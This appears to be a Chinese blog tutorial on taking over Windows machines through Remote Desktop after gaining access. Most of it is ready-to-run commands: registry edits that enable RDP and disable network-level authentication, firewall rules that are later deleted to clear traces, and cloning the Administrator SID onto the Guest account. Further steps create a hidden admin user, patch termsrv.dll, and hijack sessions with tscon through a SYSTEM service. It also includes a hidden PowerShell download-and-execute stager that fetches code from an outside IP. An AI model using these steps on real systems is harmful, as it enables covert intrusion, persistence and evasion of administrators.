百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

Windows远程桌面的奇技淫巧

nanshan 2025-02-27 16:03 17 浏览 0 评论

前言

  • Windows远程桌面简介

远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机)

  • 远程桌面的前置条件

在获取权限后,针对3389进行展开,先查询3389端口是否开启

netstat -ano | findstr 3389

发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限)

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f      (开启)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f      (关闭)

若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统)

wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭)

有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1)

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

为了避免运维人员更改了RDP端口,可以确认下RDP端口

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

正常若是3389端口为0xd3d(默认是十六进制表示)

在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通)

netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow

通过命令删除防火墙的通行策略(清理痕迹)

netsh advfirewall firewall delete rule name="RemoteDesktop"

【----帮助网安学习,需要网安学习资料关注我,私信回复“资料”免费获取----】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

克隆账户接管administrator桌面

  • 适用场景

在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面

  • 利用步骤(默认情况下需要system权限)

在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限)

shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))""

(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行)

查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501)

这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg

regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名)

download admin.reg

将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分)

将new.reg重新上传到受害机中

导入编辑好的new.reg文件

regedit /s new.reg

修改Guest密码便于远程登录,并及时清理两个reg文件

net user Guest Admin@123
del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg

此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管!

新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面

  • 适用场景

在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面

  • 利用步骤

添加新隐藏用户

net user yuzi$ Admin@123 /add

将新隐藏用户添加到管理员组

net localgroup administrators yuzi$ /add

此时直接进行远程登录隐藏账户,进行图形化操作

若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持)

此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令)

takeown /F c:\Windows\System32\termsrv.dll /A
icacls c:\Windows\System32\termsrv.dll /grant Administrators:F

修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份

copy c:\Windows\System32\termsrv.dll termsrv.dll_backup

接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地

download c:\Windows\System32\termsrv.dll

在编辑dll前需要确认当前系统的版本号,查看Windows的版本号

powershell Get-ComputerInfo -Property WindowsVersion, OsName

通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90

修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务)

net stop TermService /y
copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll
net start TermService 

重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面

借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例)

在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面)

若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面

接下来进行劫持(劫持administrator的会话),查询可劫持的会话

quser

以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值)

sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console"


启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面

sc start rdp & sc delete rdp & exit 

远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现)

net user yuzi$ /delete

相关推荐

详细了解ICMP协议(icmp协议的工作原理)

最近跟大家分享了一些网络故障排查的命令,今天给大家分享一下,这些命令背后的协议(ICMP)以及原理,只有了解了原理,我们才能更好的用好这些命令什么是ICMP协议Internet控制报文协议ICMP(I...

Firewalld防火墙与ICMP攻击(防火墙policy)

提到ICMP大家应该都很熟悉,可能有人会说:不就是ping吗?但是说到ICMP攻击以及相关防御措施可能就有的人不是非常清楚了。ICMP的概念要想理解ICMP攻击以及防范我们还得从ICMP的概念说起,...

不可错过!5张图带你搞懂容器网络原理

使用容器总是感觉像使用魔法一样。对于那些理解底层原理的人来说容器很好用,但是对于不理解的人来说就是个噩梦。很幸运的是,我们已经研究容器技术很久了,甚至成功揭秘容器只是隔离并受限的Linux进程,运...

Iptables防火墙详细介绍(iptables防火墙的原理)

一:Linux防火墙基础:Linux防火墙体系主要工作在网络层,针对TCP/IP数据包实施过滤和限制,属于典型的包过滤防火墙(也称网络层防火墙);Linux防火墙体系基于内核编码实现,具有非常稳定的...

盘点几个实现VLAN间路由的好方法!

在真实的网络中,常常需要跨VLAN通信。许多网络工作者通常选择一些方法来实现不同VLAN中的主机之间的相互访问,如单臂路由。然而,由于单臂路由技术的一些限制,如带宽和转发效率,这种技术是很少使用。三层...

iptables使用详解(iptables入门)

前言最近买了一个VPS,并在上面搭了DOCKER,然后再DOCKER中安装Mysql。但只要将网络端口映射到宿主机上,那么外部网络就可以直接访问该数据。属实吓人。为此,我们需要使用防火墙。说到防火墙,...

网络安全-Kali系统hping3及netwox的使用

Kali-linux系统自身集成Scapy、hping3、netwox等工具,用于渗透测试及网络攻击ScapyScapy是一个Python程序,Scapy是一个功能强大的交互式数据包操作程序,能够发送...

网络工具中的瑞士军刀:Ping和Tracert

引言:Ping命令是一种存在于Windows、Unix和Linux系统下的一种命令。往往常用于测试分析判断网络问题所在,ping命令使用ICMP协议,该协议是TCP/IP协议簇的一个子协议,用于在IP...

如何确定一个网站是否支持IPv6?(如何判断一个网站)

IPv6是互联网协议(IP)的第六版,是互联网工程任务组(IETF)设计的用于替代IPv4的下一代IP协议。为什么国家大力推进互联网协议第六版(IPv6)规模部署?IPv6是为了解决IPv4存在的地址...

西门子Profinet故障诊断入门-4(西门子profinet模块)

Ping指令如何使用1.概述在做PROFINETIO通讯调试时经常遇到PROFINETIO通讯不通的情况,诊断时可以利用多种诊断工具和方法,这里介绍一下Ping指令的使用方法,利用"pi...

Linux 网络设备 - Bridge & Veth Pair

我们继续介绍Linux中常见的网络设备,今天主要讲的是LinuxBridge和VethPair,理解清楚这两种设备对后续理解容器化网络会比较有帮助。1.vethpair两端互通我们先...

Ip地址、子网掩码、网关三者如何协调工作你真的理解了吗?

首先我们来看看以下这两个地址是否可以相互通信呢?初步一看,貌似可以通信,但是再细看,发现两者的掩码完全不同,故而肯定不能通信了?然而并非如此,如果对两者的通信有更深刻的认识,相信就会发现他们到底能否相...

一文精通虚拟端口通道vPC,精品文章,爱了

今天给大家带来的是虚拟端口通道相关的技术:简介传统数据中心使用生成树来防止第2层环路,这已经使用了多年,但确实有局限性,为了防止环路,生成树会阻止一些链路并保持其他链路处于活动状态,如下所示,阻塞...

5张图诠释了容器网络(容器中的网络模式及特点)

使用容器总是感觉像使用魔法一样。对于那些理解底层原理的人来说容器很好用,但是对于不理解的人来说就是个噩梦。很幸运的是,我们已经研究容器技术很久了,甚至成功揭秘容器只是隔离并受限的Linux进程,...

抓包结果显示Destination unreachable(port unreachable)怎么排查

当Wireshark抓包结果显示Destinationunreachable(Portunreachable)时,表示目标主机的指定端口没有服务监听或无法响应请求。以下是详细的排查步骤和...

取消回复欢迎 发表评论: